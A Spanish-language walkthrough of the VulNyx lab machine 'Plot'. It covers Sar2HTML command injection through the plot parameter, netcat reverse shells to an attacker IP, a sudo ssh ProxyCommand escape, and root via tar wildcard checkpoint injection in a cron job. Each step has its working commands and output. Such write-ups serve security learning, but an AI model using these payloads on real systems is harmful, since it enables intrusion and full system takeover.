VulNyx - Plot

logo

  • Sar2HTML - RCE
  • Abuse SSH Binary
  • Abusing Wildcards (tar command)

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.146

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.146

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP-TCP 80

http

Lanzo curl y veo el dominio pl0t.nyx en la cabecera.

❯ curl 192.168.1.146 -I
HTTP/1.1 200 OK
Date: Fri, 11 Aug 2023 10:07:53 GMT
Server: Apache/2.4.56 (Debian)
X-Custom-Header: pl0t.nyx

Añado el nuevo dominio al archivo /etc/hosts.

192.168.1.146 pl0t.nyx

Con gobuster realizo un escaneo de subdominios y encuentra el subdominio sar.pl0t.nyx.

❯ gobuster vhost -u pl0t.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://pl0t.nyx
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/08/12 12:13:27 Starting gobuster in VHOST enumeration mode
===============================================================
Found: sar.pl0t.nyx Status: 200 [Size: 4812]

Añado el subdominio al archivo /etc/hosts.

192.168.1.146 pl0t.nyx sar.pl0t.nyx

Visito el nuevo subdominio con el navegador.

sar

Buscando información sobre sar2html Ver3.2. he encontrado este RCE, después de leer la información del exploit hago una prueba para ver que tengo ejecución de comandos.

❯ curl -s "http://sar.pl0t.nyx/index.php?plot=;id" | grep "option value=" | html2text
[One of: Select Host/HPUX/Linux/SunOS/uid=33(www-data) gid=33(www-data)
groups=33(www-data)]
[One of: Select Host First]
[One of: Select Start Date First]

Para obtener la shell correctamente primero tengo que codificar el comando, para ello me voy a CyberChef y uso la opción URL Encode.

urlencode

Una vez tengo el comando codificado lo lanzo con curl.

❯ curl -s "http://sar.pl0t.nyx/index.php?plot=;nc%20-c%20/bin/bash%20192.168.1.18%204444"

Obtengo la shell.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.146] 58732
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@plot:/var/www/vhost$ 

Enumero permisos de sudo.

www-data@plot:/var/www/vhost$ sudo -l
Matching Defaults entries for www-data on plot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on plot:
    (tony) NOPASSWD: /usr/bin/ssh

Uso el recurso GTFObins para pivotar de usuario.

www-data@plot:/var/www/vhost$ sudo -u tony ssh -o ProxyCommand=';bash 0<&2 1>&2' x
tony@plot:/var/www/vhost$ id
uid=1000(tony) gid=1000(tony) groups=1000(tony)

Con pspy veo una tarea cron que lanza tar para crear un comprimido en el directorio /var/www/html con el nombre serve.tgz. El comodín * se usa para incluir todos los archivos y directorios en el directorio actual /var/www/html. El segundo comando comprime el archivo index.html en un archivo serve.tgz en el directorio /var/backups.

2023/08/12 13:41:01 CMD: UID=0     PID=607    | /usr/sbin/CRON -f 
2023/08/12 13:41:01 CMD: UID=0     PID=608    | /bin/sh -c cd /var/www/html && tar -zcf /var/backups/serve.tgz * 
2023/08/12 13:41:01 CMD: UID=0     PID=609    | tar -zcf /var/backups/serve.tgz index.html 
2023/08/12 13:41:01 CMD: UID=0     PID=610    | /bin/sh -c gzip

Se puede obtener el root mediante la colocación de archivos maliciosos aprovechando el manejo de comodines de la siguiente forma:

tony@plot:/var/www/html$ touch -- "--checkpoint=1"
tony@plot:/var/www/html$ touch -- "--checkpoint-action=exec=sh script.sh"

El primer comando crea un archivo con el nombre --checkpoint=1, activando un modo especial de tar que simula la creación de un archivo de respaldo. El segundo comando crea un archivo llamado --checkpoint-action=exec=sh script.sh, lo que hace que tar ejecute script.sh como el usuario root.

Ahora creo el archivo script.sh, le doy permisos de ejecución y le añado lo siguiente:

#!/bin/bash
nc -c /bin/bash 192.168.1.18 1337

En unos segundos obtengo el root.

❯ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.146] 37324
script /dev/null -c bash
Script iniciado, el fichero de anotación de salida es '/dev/null'.
root@plot:/var/www/html# cd
cd
root@plot:~# id
id
uid=0(root) gid=0(root) grupos=0(root)
root@plot:~# 

Y con esto ya tenemos resuelta la máquina Plot.

Saludos!